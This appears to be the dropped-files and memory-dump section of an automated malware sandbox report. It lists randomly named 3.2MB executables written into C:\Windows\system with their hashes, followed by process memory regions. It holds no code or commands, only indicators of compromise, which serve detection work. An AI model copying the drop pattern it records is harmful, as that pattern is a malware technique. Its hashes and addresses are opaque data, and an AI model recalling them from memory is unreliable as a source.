a0009fb67b65cf4e7482fe8079b2cb950f9914f0a241ff4c47fa09fc7e6e4eb8fece94c9204e8ddd6b1b41fc8a8acb6cc81a3f883dc74b7983dbf684754ae1cd

Download Submit
C:\Windows\system\pdkPiDK.exe

Filesize
3.2MB

MD5
7ce321236b2a9ad6b155354602e86f1a

SHA1
f112d50cdea554da2ebdfcbac8a2525b04c59908

SHA256
d56fb8556046d37cbf3ee2ce84af55bd6ac1fef16913d670d2c8f1416a9d02e7

SHA512
f272a4031b4ae251b18989cae31ab591a63f95a029da23d8b700e5ade9ad3ace052198817fa3c456c32499ad2a7b8444471f26fcab1cc3de3b42172ad7ead88a

Download Submit
C:\Windows\system\sAPjXYt.exe

Filesize
3.2MB

MD5
3c8c425fefa51ce6d726dbe7905f5872

SHA1
739000c80f68bae3038c6b0bdd10e2692e9a8ce6

SHA256
eac0a86c0cce7416ebc0ca9cd6701eed87967de708159a73c8f42ea7d710b5d1

SHA512
c086afc6d6b37fad7c74a623eb9cfe9e415ae7b77a9d8f920c037d16db26e4a39f33d5eda4a8518ab6b0c3461c8887e345eed7298d2dfc19dfe8340317cfea88

Download Submit
C:\Windows\system\uzUraSb.exe

Filesize
3.2MB

MD5
692170dad33bf14a4a16010bf7fcc0df

SHA1
34191fcadb413ee33a32513c6cc41a437a4e81dc

SHA256
22d91b9286cb366f004c23f148471821ecde726e10bf2ae45894f55d172192ea

SHA512
1e961b896c2ae4f7680c92f920af591e747ec24130592fa845a0660f657d641bec00b36e38d460061fdb81507a527992b198c7c6988cd9dc97c93be246093516

Download Submit
C:\Windows\system\wqgxNZP.exe

Filesize
3.2MB

MD5
5f9e8330020f5da1bd98643b0d8772ed

SHA1
bc81856cb1f1091cfe38d879243bda29fe7b33ac

SHA256
c164a68bf433149799f6a48b06b9d2de6db6b0344b6202c52e140bf61e9ee744

SHA512
b2f0898b20b10dc3ff9f7b37824aaf7db5f94242853cc0490149ee814decd2057d390092f8fb1bede90f73497f4e4e7b82ee0b3bf30a29bdce62fd6caeca01f5

Download Submit
C:\Windows\system\yYUzbEo.exe

Filesize
3.2MB

MD5
2cecd1b18fbfdb7c462af3918fe4be23

SHA1
65221dbe9686b8aca6c68892543ce8bba111c1fa

SHA256
e60cc4b1088c7c4f17b8be1d01c49651324c4f06b8f0373012eeb8b8046a278a

SHA512
9581c9e5c05d3c6f0063b7e7c75a4ba15a5d4c8fdcb1ef652514ddcb949435d441f232d12ea3cc20ada1a7efcfa3ded8f5e4cf79e5e828487de51c17d8de3c17

Download Submit
C:\Windows\system\yfAvXzj.exe

Filesize
3.2MB

MD5
9c173a836cb88157e95834d5e889cef3

SHA1
c6306ccb4f0ac194843e26bbdc94b006a2dd23de

SHA256
6e8303de0ee08782c3c95bde548bee4b32814a6f38f2c30a64199af59fe94a10

SHA512
fa3953fd72724b44bdab82e5f441fa561676f152bffbb927354a25b72a1b44da1353bc208189ec947842460e619ae0e5180872c635bfac20fd936844ba4c030f

Download Submit
\Windows\system\BiiVjVb.exe

Filesize
3.2MB

MD5
975083d5c7463666579eaaee457c10db

SHA1
7d46ffa135a67f687c0e40aba1f40a8164e436b4

SHA256
e78514aaf968356b455f1e336b72f6458b923e2e9bc72cae825725beb3df5bcc

SHA512
55eb82618d21a6bb59f764a68bcf18716cd14a19e9b3b01828fecfd2e05cd2e3e6db7cb3f68f378048cf8a8a38684d2e23e56834954355d32df03b30ec735391

Download Submit
\Windows\system\QnSBAkV.exe

Filesize
3.2MB

MD5
f33c7c78a802fe9ea2a24ceea32891ce

SHA1
127e74030930a63b5fddc9c38cb256317e4e1f31

SHA256
c885c6311bad3883f984c401af397a7eebeba5bd9e304b4de38a5ee644bf5abd

SHA512
4f9e54af2724b752347bfad7830e342b293244ed9f28c666de1a4c2d009858ccf18b52c417f4b34beb24679fb76cf0d00ec807e7b145187120c6364905397b78

Download Submit
\Windows\system\QxWGFot.exe

Filesize
3.2MB

MD5
b8674fdacf60a46d07ba97456ac55100

SHA1
f1e85d27dab0462cd2078f59b79808f47a7c09cb

SHA256
3856265999a05a8b14f7c0b4f22e5f561627ee419f2a952ccd4ed0e1cb5e0efa

SHA512
e55dbb7a18a39dc50191083fcfb7d918ad5287a4836f85be980ab1570e8212aa49b0b27f9d83f54830a2f8ddc83a8bb16d6282559c34a6aa50a8ac1a17bb1765

Download Submit
\Windows\system\ROAhHIY.exe

Filesize
3.2MB

MD5
9d5091c7eb2d31e196ac568946e0f421

SHA1
f2ee683d6f04652918c1e7dafa18fc53364489a3

SHA256
920abc71b0f6cbe6a320f944b57b6eca6e4c50d8fb5bc5ad8d163a59ba7242f6

SHA512
efe53ef3ddf110ce6065c94d5972ac9b08eee79eeb3e25f9bc8383d19068c202fecf60633f1801ffe1c125e52ef79bff988bedd06de98d25ff650f027a98c09c

Download Submit
\Windows\system\VBAOHuq.exe

Filesize
3.2MB

MD5
700df8b0a93cf15d1f89a7f80b671990

SHA1
4a7ae1d4e20d02e443f7e553acd3ba874c18a1d1

SHA256
96859d50aac2b1aeb981f122ea92f307feb4ffaeef3eb1f88a45664f2e93ba5e

SHA512
d2e96731e312cdb818609d9065269f1c544b895430b9e21c919a3b1613006e028253cd685970b514e9fab1aaad89db34459bdae41b88d68025d41ff1cbee7cca

Download Submit
\Windows\system\Wsrbtpx.exe

Filesize
3.2MB

MD5
e4bab871b24c0cd74d3b56525be5c145

SHA1
72ba1065978e22d72426e201b8cefff7b03eb440

SHA256
934ef4b18a7e6fb701aefb7cf978a9e4002c1373c947cef1db33e52173ba902b

SHA512
9d937e5034d9515c4dcf3defa73475ea0a06b8b43ec2841c3b73caa0ae4ce8e48453b14d5014d647d52cd505be99d95f662101b5fb73f6c78c9e60d3919f8831

Download Submit
\Windows\system\yzaEuxG.exe

Filesize
3.2MB

MD5
6490981809fe6a0d6529a16c363c808a

SHA1
e397a8a577472ded7ddf08d7b7c13387aa3d5d44

SHA256
4e4873ded005ae6db3e49530e7aebcca9ade6dbac002a151a43589cde0e80baf

SHA512
ab8ada6d1223a3c5484b18ce3581357d8e0a10fb45f944ee76369d76fd34e7bd0622ff1f0a273e28484577d46aa4edbf1e4c58963a726bc80d67a922fe047ff0

Download Submit
memory/1612-141-0x000000001B600000-0x000000001B8E2000-memory.dmp

Filesize
2.9MB

Download
memory/1612-142-0x0000000001D40000-0x0000000001D48000-memory.dmp

Filesize
32KB

Download
memory/2240-215-0x000000013FCD0000-0x00000001400C6000-memory.dmp

Filesize
4.0MB

Download
memory/2240-5481-0x000000013FCD0000-0x00000001400C6000-memory.dmp

Filesize
4.0MB

Download
memory/2296-228-0x000000013F620000-0x000000013FA16000-memory.dmp

Filesize
4.0MB

Download
memory/2436-188-0x000000013FA40000-0x000000013FE36000-memory.dmp

Filesize
4.0MB

Download
memory/2496-5483-0x000000013F830000-0x000000013FC26000-memory.dmp

Filesize
4.0MB

Download
memory/2496-208-0x000000013F830000-0x000000013FC26000-memory.dmp

Filesize
4.0MB

Download
memory/2504-205-0x000000013F830000-0x000000013FC26000-memory.dmp

Filesize
4.0MB

Download
memory/2504-219-0x0000000003320000-0x0000000003716000-memory.dmp

Filesize
4.0MB

Download
memory/2504-104-0x000000013FCC0000-0x00000001400B6000-memory.dmp

Filesize
4.0MB

Download
memory/2504-97-0x000000013FA40000-0x000000013FE36000-memory.dmp

Filesize
4.0MB

Download
memory/2504-1-0x00000000000F0000-0x0000000000100000-memory.dmp

Filesize
64KB

Download
memory/2504-213-0x000000013FCD0000-0x00000001400C6000-memory.dmp

Filesize
4.0MB

Download
memory/2504-195-0x0000000003320000-0x0000000003716000-memory.dmp

Filesize
4.0MB

Download
memory/2504-75-0x0000000002DD0000-0x00000000031C6000-memory.dmp

Filesize
4.0MB

Download
memory/2504-209-0x0000000003320000-0x0000000003716000-memory.dmp

Filesize
4.0MB

Download
memory/2504-216-0x000000013F7D0000-0x000000013FBC6000-memory.dmp

Filesize
4.0MB

Download
memory/2504-2248-0x0000000002DD0000-0x00000000031C6000-memory.dmp

Filesize
4.0MB

Download
memory/2504-0-0x000000013F2A0000-0x000000013F696000-memory.dmp

Filesize
4.0MB

Download
memory/2504-223-0x000000013F850000-0x000000013FC46000-memory.dmp

Filesize
4.0MB

Download
memory/2504-200-0x000000013FF70000-0x0000000140366000-memory.dmp

Filesize
4.0MB

Download
memory/2504-2321-0x000000013FA40000-0x000000013FE36000-memory.dmp

Filesize
4.0MB

Download
memory/2688-225-0x000000013F850000-0x000000013FC46000-memory.dmp

Filesize
4.0MB

Download
memory/2776-5482-0x000000013F730000-0x000000013FB26000-memory.dmp

Filesize
4.0MB

Download
memory/2776-227-0x000000013F730000-0x000000013FB26000-memory.dmp

Filesize
4.0MB

Download
memory/2788-212-0x000000013F0E0000-0x000000013F4D6000-memory.dmp

Filesize
4.0MB

Download
memory/2788-5475-0x000000013F0E0000-0x000000013F4D6000-memory.dmp

Filesize
4.0MB

Download
memory/2820-5479-0x000000013F050000-0x000000013F446000-memory.dmp

Filesize
4.0MB

Download
memory/2820-199-0x000000013F050000-0x000000013F446000-memory.dmp

Filesize
4.0MB

Download
memory/2840-184-0x000000013FCC0000-0x00000001400B6000-memory.dmp

Filesize
4.0MB

Download
memory/2876-5476-0x000000013FF70000-0x0000000140366000-memory.dmp

Filesize
4.0MB

Download
memory/2876-204-0x000000013FF70000-0x0000000140366000-memory.dmp

Filesize
4.0MB

Download
memory/2892-5480-0x000000013F580000-0x000000013F976000-memory.dmp

Filesize
4.0MB

Download
memory/2892-222-0x000000013F580000-0x000000013F976000-memory.dmp

Filesize
4.0MB

Download
memory/2920-218-0x000000013F7D0000-0x000000013FBC6000-memory.dmp

Filesize
4.0MB

Download